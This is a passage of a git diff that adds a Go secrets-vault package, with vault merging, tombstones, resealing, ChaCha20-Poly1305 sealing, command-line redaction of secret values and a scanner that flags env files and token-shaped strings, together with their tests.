+1,73 @@ +package keys + +import ( + "encoding/json" + "fmt" +) + +// Export returns the vault.enc envelope bytes, the form a vault takes on the +// wire. A vault never written yet exports as an empty, sealed one, so the +// receiver can tell "nothing yet" from "damaged". +func (v *Vault) Export() ([]byte, error) { + v.mu.Lock() + defer v.mu.Unlock() + d, err := v.read() + if err != nil { + return nil, err + } + plain, err := json.Marshal(d) + if err != nil { + return nil, err + } + return seal(v.key, plain) +} + +// Merge folds another copy of this identity's vault into the local one: the +// union of secrets by id, and for an id both hold with different content the +// slot with the newer stamp, where a delete is a slot like any other. Device clocks are trusted, which +// Stage 1 accepts because the devices are one person's own. A copy that cannot +// be opened under this key changes nothing. The merged document keeps the newer +// stamp instead of taking the time of the merge, so merging never makes an old +// edit look new. +func (v *Vault) Merge(enc []byte) error { + v.mu.Lock() + defer v.mu.Unlock() + remote, err := openDoc(v.key, enc) + if err != nil { + return fmt.Errorf("keys: cannot merge vault: %w", err) + } + local, err := v.read() + if err != nil { + return err + } + if !fold(local, remote) { + return nil + } + return v.write(local) +} + +// fold merges remote into local and reports whether local changed. Each secret +// id is decided alone by the newer slot stamp, live secrets and tombstones +// alike; on a tie a tombstone wins, since a key someone chose to delete should +// not survive a coin flip. +func fold(local, remote *vaultDoc) bool { + changed := false + for id, theirs := range remote.Secrets { + if ours, ok := local.Secrets[id]; !ok || supersedes(theirs, remote, ours, local) { + local.Secrets[id], changed = theirs, true + } + } + if remote.Updated > local.Updated { + local.Updated, changed = remote.Updated, true + } + return changed +} + +// supersedes reports whether slot a (in document ad) replaces slot b. +func supersedes(a record, ad *vaultDoc, b record, bd *vaultDoc) bool { + if a == b { + return false + } + sa, sb := a.stampOf(ad), b.stampOf(bd) + return sa > sb || (sa == sb && a.Deleted && b.live()) +} diff --git a/internal/keys/merge_test.go b/internal/keys/merge_test.go new file mode 100644 index 0000000000..07113c5796 --- /dev/null +++ b/internal/keys/merge_test.go @@ -0,0 +1,242 @@ +package keys + +import ( + "os" + "path/filepath" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +// twoHomes returns two vaults of one identity, as two of a person's machines. +func twoHomes(t *testing.T) (a, b *Vault) { + t.Helper() + a, homeA := mustOpen(t) + id, err := identity.Load(homeA) + if err != nil { + t.Fatal(err) + } + homeB := filepath.Join(t.TempDir(), "home") + if err := identity.Save(homeB, id); err != nil { + t.Fatal(err) + } + b, err = Open(homeB) + if err != nil { + t.Fatal(err) + } + return a, b +} + +// setStamp rewrites one slot's stamp (and the document's, when later), so a +// test does not depend on the wall clock. +func setStamp(t *testing.T, v *Vault, id string, ts int64) { + t.Helper() + d, err := v.read() + if err != nil { + t.Fatal(err) + } + r := d.Secrets[id] + r.Updated = ts + d.Secrets[id], d.Updated = r, max(d.Updated, ts) + if err := v.write(d); err != nil { + t.Fatal(err) + } +} + +func mergeFrom(t *testing.T, into, from *Vault) { + t.Helper() + enc, err := from.Export() + if err != nil { + t.Fatal(err) + } + if err := into.Merge(enc); err != nil { + t.Fatal(err) + } +} + +func TestMergeIsTheUnionByID(t *testing.T) { + a, b := twoHomes(t) + a.Put("s1", Entry{"A", "1", "p"}) + b.Put("s2", Entry{"B", "2", "p"}) + mergeFrom(t, a, b) + got, _ := a.Env("p") + if want := []string{"A=1", "B=2"}; len(got) != 2 || got[0] != want[0] || got[1] != want[1] { + t.Fatalf("got %v, want %v", got, want) + } +} + +func TestMergeNewerStampWinsOnTheSameID(t *testing.T) { + a, b := twoHomes(t) + a.Put("s1", Entry{"K", "old", "p"}) + b.Put("s1", Entry{"K", "new", "p"}) + setStamp(t, a, "s1", 100) + setStamp(t, b, "s1", 200) + mergeFrom(t, a, b) + if e, _ := a.Get("s1"); e.Value != "new" { + t.Fatalf("the newer copy must win, got %q", e.Value) + } + b.Put("s1", Entry{"K", "older", "p"}) + setStamp(t, b, "s1", 50) + mergeFrom(t, a, b) + if e, _ := a.Get("s1"); e.Value != "new" { + t.Fatalf("an older copy must not win, got %q", e.Value) + } +} + +func TestMergeKeepsTheNewerStampAndIsIdempotent(t *testing.T) { + a, b := twoHomes(t) + b.Put("s1", Entry{"K", "v", "p"}) + setStamp(t, b, "s1", 500) + mergeFrom(t, a, b) + if d, _ := a.read(); d.Secrets["s1"].Updated != 500 { + t.Fatalf("merge must keep the slot stamp, got %d", d.Secrets["s1"].Updated) + } + first, _ := statMod(a.path) + mergeFrom(t, a, b) + if again, _ := statMod(a.path); again != first { + t.Fatal("a merge that changes nothing must not rewrite the vault") + } +} + +func TestDeleteSurvivesMergeWithAnOlderCopy(t *testing.T) { + a, b := twoHomes(t) + a.Put("leaked", Entry{"KEY", "v", "p"}) + mergeFrom(t, b, a) // b holds the secret too + must(t, a.Delete("leaked")) + mergeFrom(t, a, b) // b's older copy must not resurrect it + if _, err := a.Get("leaked"); err != ErrNotFound { + t.Fatalf("a deleted secret came back: %v", err) + } + mergeFrom(t, b, a) // and the delete travels + if got, _ := b.Entries("p"); len(got) != 0 { + t.Fatalf("the delete must reach b, got %+v", got) + } + if env, _ := b.Env("p"); len(env) != 0 { + t.Fatalf("Env must not surface a tombstone: %v", env) + } +} + +func TestReAddedSecretLivesAfterADelete(t *testing.T) { + a, b := twoHomes(t) + a.Put("s1", Entry{"KEY", "v1", "p"}) + mergeFrom(t, b, a) + must(t, a.Delete("s1")) + // The same id written again with a newer stamp. + b.Put("s1", Entry{"KEY", "v2", "p"}) + setStamp(t, b, "s1", 1<<50) + mergeFrom(t, a, b) + if e, err := a.Get("s1"); err != nil || e.Value != "v2" { + t.Fatalf("a newer re-add must live: %+v %v", e, err) + } + // The same name under a fresh id, through the dotenv import, also lives. + must(t, a.Delete("s1")) + path := filepath.Join(t.TempDir(), ".env") + must(t, os.WriteFile(path, []byte("KEY=v3\n"), 0o600)) + if _, err := a.ImportDotenv(path, "p"); err != nil { + t.Fatal(err) + } + if env, _ := a.Env("p"); len(env) != 1 || env[0] != "KEY=v3" { + t.Fatalf("got %v", env) + } +} + +func TestTombstoneCarriesNoSecret(t *testing.T) { + a, _ := twoHomes(t) + a.Put("s1", Entry{"KEY", "topsecret", "p"}) + must(t, a.Delete("s1")) + d, _ := a.read() + if r := d.Secrets["s1"]; !r.Deleted || r.Entry != (Entry{}) || r.Updated == 0 { + t.Fatalf("got %+v", r) + } + must(t, a.Delete("missing")) // leaves nothing behind + if d, _ := a.read(); len(d.Secrets) != 1 { + t.Fatal("deleting an unknown id must not write a tombstone") + } +} + +func TestMergeRefusesWhatItCannotOpen(t *testing.T) { + a, _ := twoHomes(t) + a.Put("s1", Entry{"K", "v", "p"}) + other, _ := mustOpen(t) // a different identity + enc, _ := other.Export() + if err := a.Merge(enc); err == nil { + t.Fatal("a vault sealed under another key must be refused") + } + if err := a.Merge([]byte("not an envelope")); err == nil { + t.Fatal("garbage must be refused") + } + if e, err := a.Get("s1"); err != nil || e.Value != "v" { + t.Fatalf("the local vault must be untouched: %+v %v", e, err) + } +} + +func TestExportOfAnEmptyVaultMergesAsNothing(t *testing.T) { + a, b := twoHomes(t) + a.Put("s1", Entry{"K", "v", "p"}) + mergeFrom(t, a, b) + if e, _ := a.Get("s1"); e.Value != "v" { + t.Fatal("merging an empty vault must not remove anything") + } +} + +func TestEntriesAreSortedByName(t *testing.T) { + v, _ := mustOpen(t) + v.Put("1", Entry{"A0", "x", "p"}) + v.Put("2", Entry{"A", "y", "p"}) + v.Put("3", Entry{"B", "z", "q"}) + got, _ := v.Entries("p") + if len(got) != 2 || got[0].Name != "A" || got[1].Name != "A0" { + t.Fatalf("got %+v", got) + } +} + +func must(t *testing.T, err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } +} + +func statMod(path string) (int64, error) { + i, err := os.Stat(path) + if err != nil { + return 0, err + } + return i.ModTime().UnixNano(), nil +} + +// PutAt stamps a slot with the time of the edit, so an old edit recorded late +// loses to a newer edit from another machine, and Deleted tells a tombstone from +// a secret that never existed. +func TestPutAtStampsWithTheEditTimeAndDeletedSeesTombstones(t *testing.T) { + a, b := twoHomes(t) + now := time.Now() + put := func(v *Vault, value string, at time.Time) { + if err := v.PutAt("s", Entry{Name: "N", Value: value, Scope: "p"}, at); err != nil { + t.Fatal(err) + } + } + put(b, "newer", now.Add(-time.Minute)) + put(a, "older", now.Add(-time.Hour)) + enc, err := b.Export() + if err != nil { + t.Fatal(err) + } + if err := a.Merge(enc); err != nil { + t.Fatal(err) + } + if e, _ := a.Get("s"); e.Value != "newer" { + t.Fatalf("the older edit recorded later won: %q", e.Value) + } + if gone, _ := a.Deleted("s"); gone { + t.Fatal("a live secret reads as deleted") + } + _ = a.Delete("s") + if gone, _ := a.Deleted("s"); !gone { + t.Fatal("a tombstone is not seen") + } + if gone, _ := a.Deleted("never"); gone { + t.Fatal("an unknown id reads as deleted") + } +} diff --git a/internal/keys/redact.go b/internal/keys/redact.go new file mode 100644 index 0000000000..b10db7288f --- /dev/null +++ b/internal/keys/redact.go @@ -0,0 +1,91 @@ +package keys + +import ( + "regexp" + "strings" +) + +// Redacted stands where a secret's value was. It is the same three dots the +// person reads in a command line that was cleaned, so a cleaned line is +// recognisable as one. +const Redacted = "…" + +// secretName is a variable or flag name that says its value is a secret. The +// content rules catch a value that looks like a key whatever it is called; this +// catches the value that looks like nothing (`--token abc`), which only its name +// gives away. +var secretName = regexp.MustCompile(`(?i)(token|secret|passw|pwd|credential|api[-_]?key|private[-_]?key|access[-_]?key|authorization|\bauth\b)`) + +// Clean returns the command line with every secret value replaced by +// [Redacted]: the value of a `NAME=value` word or a `--flag value` pair whose +// name is a secret's, and any word a content rule recognises as a key. It reads +// a line the way a shell does, cut at blanks outside quotes (a newline stays inside its word, so a script keeps its lines), and never changes +// what it does not clean. A line it cannot read (an unclosed quote) is cut to +// its first word alone, because a line that cannot be understood cannot be shown +// to be clean. +func Clean(command string) string { + words, ok := splitWords(command) + if !ok { + first, _, _ := strings.Cut(strings.TrimSpace(command), " ") + return first + } + for i := range words { + words[i] = cleanWord(words, i) + } + return strings.Join(words, " ") +} + +// cleanWord is words[i] with its secret, if it has one, replaced. A flag whose +// name is a secret's takes the word after it as its value, so that word is the +// one replaced when the flag stands alone. +func cleanWord(words []string, i int) string { + word := words[i] + if name, _, ok := strings.Cut(word, "="); ok && secretName.MatchString(name) { + return name + "=" + Redacted + } + if i > 0 && isFlagWithSecretName(words[i-1]) { + return Redacted + } + if _, hit := firstRule(contentRules, "", []byte(word)); hit { + return Redacted + } + return word +} + +// isFlagWithSecretName reports a bare `--flag` whose value is the next word. +func isFlagWithSecretName(word string) bool { + return strings.HasPrefix(word, "-") && !strings.Contains(word, "=") && secretName.MatchString(word) +} + +// splitWords cuts a line at blanks that are not inside quotes, keeping each +// word's own quotes so the line reads back as it was written. It reports false +// for a line with an unclosed quote. +func splitWords(line string) ([]string, bool) { + var words []string + var word strings.Builder + var quote rune + flush := func() { + if word.Len() > 0 { + words = append(words, word.String()) + word.Reset() + } + } + for _, r := range line { + switch { + case quote != 0: + word.WriteRune(r) + if r == quote { + quote = 0 + } + case r == '\'' || r == '"': + quote = r + word.WriteRune(r) + case r == ' ' || r == '\t': + flush() + default: + word.WriteRune(r) + } + } + flush() + return words, quote == 0 +} diff --git a/internal/keys/redact_test.go b/internal/keys/redact_test.go new file mode 100644 index 0000000000..8086aa3298 --- /dev/null +++ b/internal/keys/redact_test.go @@ -0,0 +1,30 @@ +package keys + +import "testing" + +func TestCleanReplacesTheValueOfASecretAndNothingElse(t *testing.T) { + const key = "sk-abcdefghijklmnopqrstuvwx" + for line, want := range map[string]string{ + "npm run dev": "npm run dev", + "API_KEY=" + key + " npm run dev": "API_KEY=… npm run dev", + "curl --token abc123 https://x": "curl --token … https://x", + "curl --token=abc123 https://x": "curl --token=… https://x", + "deploy --password 'a b' --env prod": "deploy --password … --env prod", + "echo " + key: "echo …", + "git commit --author=me -m msg": "git commit --author=me -m msg", + `DB_PASSWORD="two words" ./run`: "DB_PASSWORD=… ./run", + "PORT=3000 node server.js": "PORT=3000 node server.js", + "aws --access-key-id AKIAABCDEFGHIJKLMNOP ls": "aws --access-key-id … ls", + "": "", + } { + if got := Clean(line); got != want { + t.Errorf("Clean(%q) = %q, want %q", line, got, want) + } + } +} + +func TestCleanCutsALineItCannotReadToItsFirstWord(t *testing.T) { + if got := Clean(`run --note "never closed TOKEN=abc`); got != "run" { + t.Fatalf("Clean = %q", got) + } +} diff --git a/internal/keys/reseal.go b/internal/keys/reseal.go new file mode 100644 index 0000000000..5942a95d4b --- /dev/null +++ b/internal/keys/reseal.go @@ -0,0 +1,56 @@ +package keys + +import ( + "errors" + "os" + "path/filepath" +) + +// nextFile holds a resealed vault until the identity that opens it is in place. +const nextFile = "vault.enc.next" + +// StageReseal seals the vault under newKey into vault.enc.next beside the live +// file and answers the new envelope, which is what the new identity's relay +// receives. The live file is not touched, so nothing is lost if the identity +// is never replaced. A home with no vault answers nil. Repeating it is safe: a +// vault that already opens under newKey is answered as it is. +func StageReseal(home string, oldKey, newKey []byte) ([]byte, error) { + live := filepath.Join(home, "vault.enc") + blob, err := os.ReadFile(live) + if errors.Is(err, os.ErrNotExist) { + return readNext(home) + } + if err != nil { + return nil, err + } + if _, err := open(newKey, blob); err == nil { + return blob, nil + } + plain, err := open(oldKey, blob) + if err != nil { + return nil, err + } + next, err := seal(newKey, plain) + if err != nil { + return nil, err + } + return next, writeAtomic(filepath.Join(home, nextFile), next) +} + +func readNext(home string) ([]byte, error) { + blob, err := os.ReadFile(filepath.Join(home, nextFile)) + if errors.Is(err, os.ErrNotExist) { + return nil, nil + } + return blob, err +} + +// CommitReseal puts the staged vault in place of the live one. It is the step +// after the identity changed, and it does nothing when nothing is staged. +func CommitReseal(home string) error { + err := os.Rename(filepath.Join(home, nextFile), filepath.Join(home, "vault.enc")) + if errors.Is(err, os.ErrNotExist) { + return nil + } + return err +} diff --git a/internal/keys/reseal_test.go b/internal/keys/reseal_test.go new file mode 100644 index 0000000000..26b973a7d0 --- /dev/null +++ b/internal/keys/reseal_test.go @@ -0,0 +1,106 @@ +package keys + +import ( + "errors" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +func reseal(t *testing.T, home string) (oldKey, newKey []byte, enc []byte) { + t.Helper() + v, err := Open(home) + if err != nil { + t.Fatal(err) + } + if err := v.Put("p/K", Entry{Name: "K", Value: "s3cret", Scope: "p"}); err != nil { + t.Fatal(err) + } + old, _ := identity.Load(home) + next, err := identity.Mint() + if err != nil { + t.Fatal(err) + } + enc, err = StageReseal(home, old.CellKey(), next.CellKey()) + if err != nil { + t.Fatal(err) + } + return old.CellKey(), next.CellKey(), enc +} + +// Staging leaves the live vault alone and opens only under the new key. +func TestStageResealLeavesLiveVault(t *testing.T) { + _, home := mustOpen(t) + oldKey, newKey, enc := reseal(t, home) + if _, err := open(newKey, enc); err != nil { + t.Fatalf("staged vault does not open under the new key: %v", err) + } + if _, err := open(oldKey, enc); err == nil { + t.Fatal("staged vault still opens under the old key") + } + live, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + if _, err := open(oldKey, live); err != nil { + t.Fatalf("live vault changed: %v", err) + } +} + +// Committing puts the staged vault in place, and repeating either step is safe. +func TestCommitResealIsRepeatable(t *testing.T) { + _, home := mustOpen(t) + _, newKey, enc := reseal(t, home) + for range 2 { + if err := CommitReseal(home); err != nil { + t.Fatal(err) + } + } + live, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + if string(live) != string(enc) { + t.Fatal("the live vault is not the staged one") + } + again, err := StageReseal(home, newKey, newKey) + if err != nil || string(again) != string(enc) { + t.Fatalf("staging a resealed vault changed it: %v", err) + } +} + +// A home with no vault has nothing to stage or commit. +func TestResealWithoutVault(t *testing.T) { + home := t.TempDir() + enc, err := StageReseal(home, make([]byte, 32), make([]byte, 32)) + if enc != nil || err != nil || CommitReseal(home) != nil { + t.Fatalf("enc %v, err %v", enc, err) + } +} + +// A reseal that stopped after the identity changed and before the vault +// followed is finished by the vault's next read. +func TestVaultReadFinishesAStagedReseal(t *testing.T) { + _, home := mustOpen(t) + _, newKey, _ := reseal(t, home) + // The identity changed under the vault: a vault for newKey, staged, and a live one for the old key. + v := &Vault{path: filepath.Join(home, "vault.enc"), key: newKey} + e, err := v.Get("p/K") + if err != nil || e.Value != "s3cret" { + t.Fatalf("secret = %+v, %v", e, err) + } + if _, err := os.Stat(filepath.Join(home, nextFile)); err == nil { + t.Fatal("the staged file is still there after it was adopted") + } +} + +// A vault that is another identity's and was never staged for this one is +// still refused, as before. +func TestVaultOfAnotherKeyIsStillRefused(t *testing.T) { + _, home := mustOpen(t) + v := &Vault{path: filepath.Join(home, "vault.enc"), key: make([]byte, 32)} + if _, err := v.Get("x"); err != nil && !errors.Is(err, ErrNotFound) { + t.Fatal(err) + } + real, _ := Open(home) + _ = real.Put("a", Entry{Name: "A", Value: "v", Scope: "s"}) + if _, err := v.Get("a"); !errors.Is(err, ErrOtherKey) { + t.Fatalf("read under the wrong key = %v, want ErrOtherKey", err) + } +} diff --git a/internal/keys/scan.go b/internal/keys/scan.go new file mode 100644 index 0000000000..e06603c8f9 --- /dev/null +++ b/internal/keys/scan.go @@ -0,0 +1,203 @@ +package keys + +import ( + "bytes" + "errors" + "io" + "io/fs" + "os" + "path" + "path/filepath" + "regexp" + "strings" +) + +// Finding names a file that must not be sealed into a tree and the rule that +// flagged it. It never carries a value. +type Finding struct { + Path string // slash-separated, relative to the scanned root + Rule string +} + +// RuleDotenv names the finding for an environment file: its variables belong +// in the vault, and the file itself stays out of a tree. +const RuleDotenv = "dotenv-file" + +// RuleUnreadable names the finding for a path this machine may not read: a file +// that cannot be opened, or a folder whose listing is refused. Nothing can be +// judged or captured there, so it is set apart, never called clean. +const RuleUnreadable = "unreadable" + +type rule struct { + name string + hit func(rel string, content []byte) bool +} + +func nameRule(name string, globs ...string) rule { + return rule{name, func(rel string, _ []byte) bool { + base := path.Base(rel) + for _, g := range globs { + if ok, _ := path.Match(g, base); ok { + return true + } + } + return false + }} +} + +// contentRule matches a pattern in a file's head. lead is a literal every +// match contains; a file without it is rejected by a byte search before the +// regular expression runs, which keeps a scan of many clean files cheap. +func contentRule(name, lead, pattern string) rule { + re := regexp.MustCompile(pattern) + leadB := []byte(lead) + return rule{name, func(_ string, content []byte) bool { + return bytes.Contains(content, leadB) && re.Match(content) + }} +} + +// nameRules judge a path alone; contentRules read the file. +var nameRules = []rule{ + nameRule(RuleDotenv, ".env", ".env.*", "*.env"), + nameRule("credentials-file", "*credentials*"), + nameRule("private-key-file", "*.pem", "id_rsa*", "id_ed25519*"), +} + +var contentRules = []rule{ + contentRule("api-key-sk", "sk-", `\bsk-[A-Za-z0-9_-]{16,}`), + contentRule("github-token", "gh", `\bgh[pousr]_[A-Za-z0-9]{30,}`), + contentRule("slack-token", "xox", `\bxox[bp]-[A-Za-z0-9-]{10,}`), + contentRule("aws-access-key", "AKIA", `\bAKIA[0-9A-Z]{16}\b`), + contentRule("private-key-block", "-----BEGIN", `-----BEGIN [A-Z ]*PRIVATE KEY-----`), +} + +// ScanTree walks root and reports every file matching a secret rule, one +// finding per file (first rule wins). A path it may not read is a finding of +// [RuleUnreadable]. +func ScanTree(root string) []Finding { return Scanner{}.Walk(root) } + +// Scanner scans with two optional aids. Skip names paths left out (a directory +// it names is not entered); paths are slash-separated and relative to the root. +// Ledger remembers the files found clean, so a file that has not changed since +// is not read again. +type Scanner struct { + Skip func(rel string) bool + Ledger *Ledger +} + +// Walk scans every file under root. +func (s Scanner) Walk(root string) []Finding { return s.from(root, ".") } + +// Paths scans the named files, and every file under a named directory. +func (s Scanner) Paths(root string, rels []string) []Finding { + var out []Finding + for _, rel := range rels { + out = append(out, s.from(root, rel)...) + } + return out +} + +func (s Scanner) from(root, start string) []Finding { + var out []Finding + filepath.WalkDir(filepath.Join(root, start), func(p string, d fs.DirEntry, err error) error { + rel, _ := filepath.Rel(root, p) + rel = filepath.ToSlash(rel) + if err != nil { + if f, ok := refused(rel, err); ok { + out = append(out, f) + } + return nil + } + if rel != "." && s.Skip != nil && s.Skip(rel) { + return skipEntry(d) + } + if !d.Type().IsRegular() { + return nil + } + if f, ok := s.file(rel, p, d); ok { + out = append(out, f) + } + return nil + }) + return out +} + +// refused is the finding for a path the walk could not enter because the system +// said no. The root itself is never named (a finding for "." would set apart the +// whole tree), and any other failure, such as a file that vanished, is no finding. +func refused(rel string, err error) (Finding, bool) { + if rel == "." || !errors.Is(err, fs.ErrPermission) { + return Finding{}, false + } + return Finding{Path: rel, Rule: RuleUnreadable}, true +} + +// file judges one file, reading it only when the ledger has not seen it clean. +func (s Scanner) file(rel, abs string, d fs.DirEntry) (Finding, bool) { + st, known := s.Ledger.known(abs, d) + if known { + return Finding{}, false + } + rule, hit := firstHit(rel, abs) + if !hit { + s.Ledger.note(abs, st) + } + return Finding{Path: rel, Rule: rule}, hit +} + +func skipEntry(d fs.DirEntry) error { + if d.IsDir() { + return fs.SkipDir + } + return nil +} + +// firstHit judges the path first, and reads the file only when its name is +// unremarkable. A file whose name is unremarkable and that may not be opened is +// unreadable: its name cannot clear it, and it is not noted clean. +func firstHit(rel, abs string) (string, bool) { + if !isTemplate(rel) { + if name, ok := firstRule(nameRules, rel, nil); ok { + return name, true + } + } + head, err := readHead(abs) + if errors.Is(err, fs.ErrPermission) { + return RuleUnreadable, true + } + return firstRule(contentRules, rel, head) +} + +// isTemplate is a committed placeholder (.env.example): its name says nothing +// about secrets, so only its content is judged. +func isTemplate(rel string) bool { + base := path.Base(rel) + for _, suffix := range []string{".example", ".sample", ".template"} { + if strings.HasSuffix(base, suffix) { + return true + } + } + return false +} + +func firstRule(list []rule, rel string, content []byte) (string, bool) { + for _, r := range list { + if r.hit(rel, content) { + return r.name, true + } + } + return "", false +} + +// readHead returns at most the first MiB of the file; secrets sit near the top. +// An open that fails is told to the caller; a file that vanished mid-scan has +// no head and no error worth a finding. +func readHead(abs string) ([]byte, error) { + f, err := os.Open(abs) + if err != nil { + return nil, err + } + defer f.Close() + buf, _ := io.ReadAll(io.LimitReader(f, 1<<20)) + return buf, nil +} diff --git a/internal/keys/scan_test.go b/internal/keys/scan_test.go new file mode 100644 index 0000000000..81d5faa9e2 --- /dev/null +++ b/internal/keys/scan_test.go @@ -0,0 +1,50 @@ +package keys + +import ( + "os" + "path/filepath" + "reflect" + "sort" + "testing" +) + +func scanFixture(t *testing.T) string { + t.Helper() + if os.Geteuid() == 0 { + t.Skip("root reads files whatever their mode") + } + root := t.TempDir() + for rel, mode := range map[string]os.FileMode{"odd.bin": 0, "fine.txt": 0o644, "locked/a.txt": 0o644, ".env": 0} { + p := filepath.Join(root, rel) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte("x"), 0o644); err != nil { + t.Fatal(err) + } + os.Chmod(p, mode) + } + os.Chmod(filepath.Join(root, "locked"), 0) + t.Cleanup(func() { os.Chmod(filepath.Join(root, "locked"), 0o755) }) + return root +} + +func TestScannerNamesPathsItCannotRead(t *testing.T) { + root := scanFixture(t) + var got []Finding + got = append(got, Scanner{}.Walk(root)...) + sort.Slice(got, func(i, j int) bool { return got[i].Path < got[j].Path }) + want := []Finding{{".env", RuleDotenv}, {"locked", RuleUnreadable}, {"odd.bin", RuleUnreadable}} + if !reflect.DeepEqual(got, want) { + t.Fatalf("findings %+v, want %+v", got, want) + } +} + +func TestUnreadableIsNeverNotedClean(t *testing.T) { + root := scanFixture(t) + s := Scanner{Ledger: NewLedger()} + s.Walk(root) + if again := s.Paths(root, []string{"odd.bin"}); len(again) != 1 || again[0].Rule != RuleUnreadable { + t.Fatalf("second scan %+v: an unreadable file was remembered as clean", again) + } +} diff --git a/internal/keys/scope.go b/internal/keys/scope.go new file mode 100644 index 0000000000..4669d2cef6 --- /dev/null +++ b/internal/keys/scope.go @@ -0,0 +1,30 @@ +package keys + +import ( + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// ScopeOf names the project a cell's secrets belong to (SCHEMAS.md vault +// rulings): the normalized remote it was based on, else the cell's own id. +func ScopeOf(c cell.Cell) string { + if base := c.Meta().Base; base != nil && base.Remote != "" { + return NormalizeRemote(base.Remote) + } + return c.ID +} + +// NormalizeRemote makes the same repository the same scope however it was +// cloned: no scheme, no credentials, no .git suffix, host in lower case. +func NormalizeRemote(remote string) string { + r := strings.TrimSpace(remote) + if _, rest, ok := strings.Cut(r, "://"); ok { + r = rest + } + if _, rest, ok := strings.Cut(r, "@"); ok { + r = rest + } + host, path, _ := strings.Cut(strings.Replace(r, ":", "/", 1), "/") + return strings.ToLower(host) + "/" + strings.TrimSuffix(strings.Trim(path, "/"), ".git") +} diff --git a/internal/keys/seal.go b/internal/keys/seal.go new file mode 100644 index 0000000000..0d4e72ca60 --- /dev/null +++ b/internal/keys/seal.go @@ -0,0 +1,104 @@ +package keys + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "errors" + "os" + "path/filepath" + + "golang.org/x/crypto/chacha20poly1305" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +// envelope is the plaintext wrapper: readers pick the key by CellKeyID +// (32 hex = 16 bytes, SCHEMAS.md). Stage 0 has one key per identity, so the id +// names that key and is derived from it; Stage 5 names a fresh key per cell in +// the same field. KeyID is the pre-freeze spelling (16 hex), read once and +// never written. +type envelope struct { + V uint16 `json:"V"` + CellKeyID string `json:"cell_key_id"` + Nonce string `json:"nonce"` + Data string `json:"data"` + KeyID string `json:"key_id,omitempty"` +} + +// idOf is the key id an envelope names, in either spelling. +func (e envelope) idOf() string { + if e.CellKeyID != "" { + return e.CellKeyID + } + return e.KeyID +} + +// namesKey reports whether id is the current id of key or its legacy form, +// the first 8 bytes of the same hash. +func namesKey(id string, key []byte) bool { + cur := identity.CellKeyID(key) + return id == cur || id == cur[:16] +} + +// ErrOtherKey says a vault was sealed under another identity's cell key. +var ErrOtherKey = errors.New("keys: vault was sealed under a different key") + +func seal(key, plain []byte) ([]byte, error) { + aead, err := chacha20poly1305.New(key) + if err != nil { + return nil, err + } + nonce := make([]byte, aead.NonceSize()) + if _, err := rand.Read(nonce); err != nil { + return nil, err + } + env := envelope{V: 1, CellKeyID: identity.CellKeyID(key), Nonce: hex.EncodeToString(nonce), + Data: hex.EncodeToString(aead.Seal(nil, nonce, plain, []byte(identity.CellKeyID(key))))} + return json.Marshal(env) +} + +func open(key, blob []byte) ([]byte, error) { + var env envelope + if err := json.Unmarshal(blob, &env); err != nil { + return nil, err + } + if !namesKey(env.idOf(), key) { + return nil, ErrOtherKey + } + aead, err := chacha20poly1305.New(key) + if err != nil { + return nil, err + } + nonce, err1 := hex.DecodeString(env.Nonce) + data, err2 := hex.DecodeString(env.Data) + if err := errors.Join(err1, err2); err != nil || len(nonce) != aead.NonceSize() { + return nil, errors.New("keys: malformed vault envelope") + } + return aead.Open(nil, nonce, data, []byte(env.idOf())) +} + +// writeAtomic writes data at mode 0600 via a temp file and rename. +func writeAtomic(path string, data []byte) error { + tmp, err := os.CreateTemp(filepath.Dir(path), ".tmp-*") + if err != nil { + return err + } + defer os.Remove(tmp.Name()) + if err := tmp.Chmod(0o600); err != nil { + tmp.Close() + return err + } + if _, err := tmp.Write(data); err != nil { + tmp.Close() + return err + } + if err := tmp.Sync(); err != nil { + tmp.Close() + return err + } + if err := tmp.Close(); err != nil { + return err + } + return os.Rename(tmp.Name(), path) +} diff --git a/internal/keys/testdata/vault.doc.golden.json b/internal/keys/testdata/vault.doc.golden.json new file mode 100644 index 0000000000..10c2caee38 --- /dev/null +++ b/internal/keys/testdata/vault.doc.golden.json @@ -0,0 +1 @@ +{"V":1,"secrets":{"a41c9e0b7d3f2586c1e0b94a7d3f2851":{"name":"DATABASE_URL","value":"postgres://x","scope":"p_8c1f2a"}},"updated":1759049990000} diff --git a/internal/keys/testdata/vault.envelope.golden.json b/internal/keys/testdata/vault.envelope.golden.json new file mode 100644 index 0000000000..38f919d4c8 --- /dev/null +++ b/internal/keys/testdata/vault.envelope.golden.json @@ -0,0 +1 @@ +{"V":1,"cell_key_id":"00112233445566778899aabbccddeeff","nonce":"00112233445566778899aabbccddeeff0011223344556677","data":"cafe"} diff --git a/internal/keys/vault.go b/internal/keys/vault.go new file mode 100644 index 0000000000..97c0654c09 --- /dev/null +++ b/internal/keys/vault.go @@ -0,0 +1,328 @@ +package keys + +import ( + "crypto/rand" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sort" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +// Entry is one secret: the env var Name injected at exec time, its Value, and +// the project Scope it belongs to (normalized base.remote URL, else root cell id). +type Entry struct { + Name string `json:"name"` + Value string `json:"value"` + Scope string `json:"scope"` +} + +// record is one slot of the vault: a live secret, or the tombstone a delete +// leaves so that a merge cannot bring the secret back. Updated is this slot's +// own stamp in unix ms; a slot written before slots had stamps reads as stamped +// by its document. A tombstone carries no name, value or scope, so a reader +// that does not know the field sees an entry that matches no project. +// Tombstones are never collected: pruning them is out of scope, and the cost is +// one small record per deleted secret. +type record struct { + Entry + Deleted bool `json:"deleted,omitempty"` + Updated int64 `json:"updated,omitempty"` +} + +// stampOf is the time a slot was last written, falling back to its document's. +func (r record) stampOf(doc *vaultDoc) int64 { + if r.Updated != 0 { + return r.Updated + } + return doc.Updated +} + +// live reports whether the slot holds a secret. +func (r record) live() bool { return !r.Deleted } + +// nextStamp is now, or one past the slot's previous stamp when the clock has +// not moved, so two writes to one slot in the same millisecond still order. +func nextStamp(prev record, doc *vaultDoc) int64 { return stampAt(time.Now(), prev, doc) } + +// stampAt is 